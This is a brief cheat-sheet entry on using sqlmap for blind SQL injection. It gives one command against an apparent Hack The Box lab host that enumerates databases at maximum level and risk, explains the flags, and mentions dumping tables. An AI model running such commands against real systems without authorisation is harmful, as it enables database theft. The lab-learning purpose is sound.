Sqlmap
Sqlmap is a tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.
Blind SQL injection
We can inject SQL code but not see the output.
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --dbs --threads 10 --
level 5 --risk 3 --batch
-uTarget URL--dataData string to be sent through POST (e.g. "id=1")--dbsEnumerate DBMS databases--threadsMax number of concurrent HTTP(s) requests (default 1)--levelLevel of tests to perform (1-5, default 1)--riskRisk of tests to perform (1-3, default 1)--batchNever ask for user input, use the default behavior
If we found a DB we can dump its content with:
DDBMS database to enumerate--dumpDump DBMS database table entries
Docs
- https://github.com/sqlmapproject/sqlmap/wiki/Usage